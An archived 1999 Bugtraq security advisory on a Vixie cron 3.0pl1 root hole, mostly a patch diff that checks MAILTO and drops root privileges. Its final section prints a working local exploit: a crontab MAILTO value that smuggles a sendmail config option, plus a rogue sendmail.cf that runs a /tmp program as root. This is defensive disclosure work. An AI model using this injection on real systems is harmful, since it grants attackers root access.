[LWN Logo]

Date:         Sun, 29 Aug 1999 08:42:42 +0200
From:         Martin Schulze <joey@FINLANDIA.INFODROM.NORTH.DE>
Subject:      Vixie Cron version 3.0pl1 vulnerable to root exploit
To:           BUGTRAQ@SECURITYFOCUS.COM

--hSsVBZHIO2Q9XETc
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Red Hat has recently released a Security Advisory (RHSA-1999:030-01)
covering a reverse denial of service bug in the vixie cron package.
As user you could restart sendmail even if the host should not receive
mail through the SMTP port.

Further investigation discovered that it was even worse.  Vixie cron
runs as root at the time sending acknowledge mail to a user.  Passing
arbitrary parameters to sendmail at this time leads into a possible
root exploit (like -C/tmp/myexploitsendmail.cf).

Olaf Kirch has developed the following patch that will send the mail
as user instead of root and removes the possibility to pass arguments
to the installed MTA.

Fixed packages available:

    Red Hat - already released

    Caldera - in progress

    Debian - in progress

    Slackware - no Vixie cron, they use Dillen's Cron Daemon instead


diff -ur cron-3.0pl1.orig/config.h cron-3.0pl1/config.h
--- cron-3.0pl1.orig/config.h	Thu Aug 26 15:03:15 1999
+++ cron-3.0pl1/config.h	Thu Aug 26 17:00:14 1999
@@ -42,11 +42,13 @@
 			 */
=20
 #define MAILCMD _PATH_SENDMAIL					/*-*/
-#define MAILARGS "%s -FCronDaemon -odi -oem -or0s %s"		/*-*/
+#define MAILARGS "%s -FCronDaemon -odi -oem %s"			/*-*/
 			/* -Fx	 =3D set full-name of sender
 			 * -odi	 =3D Option Deliverymode Interactive
 			 * -oem	 =3D Option Errors Mailedtosender
 			 * -or0s =3D Option Readtimeout -- don't time out
+			 * XXX: sendmail doesn't allow -or0s when invoked
+			 * by joe user.  --okir
 			 */
=20
 /* #define MAILCMD "/bin/mail"			/*-*/
diff -ur cron-3.0pl1.orig/cron.h cron-3.0pl1/cron.h
--- cron-3.0pl1.orig/cron.h	Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/cron.h	Thu Aug 26 16:45:07 1999
@@ -221,7 +221,7 @@
 entry		*load_entry __P((FILE *, void (*)(),
 				 struct passwd *, char **));
=20
-FILE		*cron_popen __P((char *, char *));
+FILE		*cron_popen __P((char *, char *, entry *));
=20
=20
 				/* in the C tradition, we only create
diff -ur cron-3.0pl1.orig/do_command.c cron-3.0pl1/do_command.c
--- cron-3.0pl1.orig/do_command.c	Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/do_command.c	Thu Aug 26 17:14:23 1999
@@ -95,6 +95,21 @@
 	usernm =3D env_get("LOGNAME", e->envp);
 	mailto =3D env_get("MAILTO", e->envp);
=20
+	/* Check for arguments */
+	if (mailto) {
+		const char	*end;
+
+		/* These chars have to match those cron_popen()
+		 * uses to split the command string */
+		mailto +=3D strspn(mailto, " \t\n");
+		end =3D mailto + strcspn(mailto, " \t\n");
+		if (*mailto =3D=3D '-' || *end !=3D '\0') {
+			printf("Bad Mailto karma.\n");
+			log_it("CRON",getpid(),"error","bad mailto");
+			mailto =3D NULL;
+		}
+	}
+
 #ifdef USE_SIGCHLD
 	/* our parent is watching for our death by catching SIGCHLD.  we
 	 * do not care to watch for our children's deaths this way -- we
@@ -368,7 +383,7 @@
 				(void) gethostname(hostname, MAXHOSTNAMELEN);
 				(void) snprintf(mailcmd, sizeof(mailcmd),
 				    MAILARGS, MAILCMD, mailto);
-				if (!(mail =3D cron_popen(mailcmd, "w"))) {
+				if (!(mail =3D cron_popen(mailcmd, "w", e))) {
 					perror(MAILCMD);
 					(void) _exit(ERROR_EXIT);
 				}
diff -ur cron-3.0pl1.orig/popen.c cron-3.0pl1/popen.c
--- cron-3.0pl1.orig/popen.c	Thu Aug 26 15:03:16 1999
+++ cron-3.0pl1/popen.c	Thu Aug 26 17:01:24 1999
@@ -44,8 +44,9 @@
 static int fds;
=20
 FILE *
-cron_popen(program, type)
+cron_popen(program, type, e)
 	char *program, *type;
+	entry *e;
 {
 	register char *cp;
 	FILE *iop;
@@ -115,6 +116,14 @@
 			}
 			(void)close(pdes[1]);
 		}
+		/* Lose root privilege */
+		setgid(e->gid);
+# if defined(BSD) || defined(POSIX)
+		initgroups(env_get("LOGNAME", e->envp), e->gid);
+# endif
+		setuid(e->uid);
+		chdir(env_get("HOME", e->envp));
+
 #if WANT_GLOBBING
 		execvp(gargv[0], gargv);
 #else

The exploit has also been developed by Olaf Kirch:

Set the user's crontab to

	MAILTO=3D" -C/tmp/myexploitsendmail.cf"
	* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=3Droot:root
Mlocal,         P=3D/tmp/hackme, F=3DlsDFMAw5:/|@qXfmnz9, S=3D10/30,
R=3D20/40,
                T=3DDNS/RFC822/X-Unix,
                A=3Dmail.local -l

i.e. remove the S flag, and set DefaultUser.

--=20
----------------------------------------------------------------------
Debian Security Team                   http://www.debian.org/security/

	      debian-security-announce@lists.debian.org

--hSsVBZHIO2Q9XETc
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia

iQCVAwUBN8jWYRRNm5Suj3z1AQGGjQQAiuJTxC1Z9KbKMun+MjozJp/8BBhJBzge
8ULcccLHotbT3HoR/h1xdy7YXVzyMFUFqFUOhr17UbvNLmXkvG0tXFHz0ig0pLNX
JyzC46Nqdw+nWoz8GegeoA6Votuxqw4hxvVWdSu5ak5piXAuRq5k7zX2khzFRvOE
D8L9Ak0JwAk=
=hpBH
-----END PGP SIGNATURE-----

--hSsVBZHIO2Q9XETc--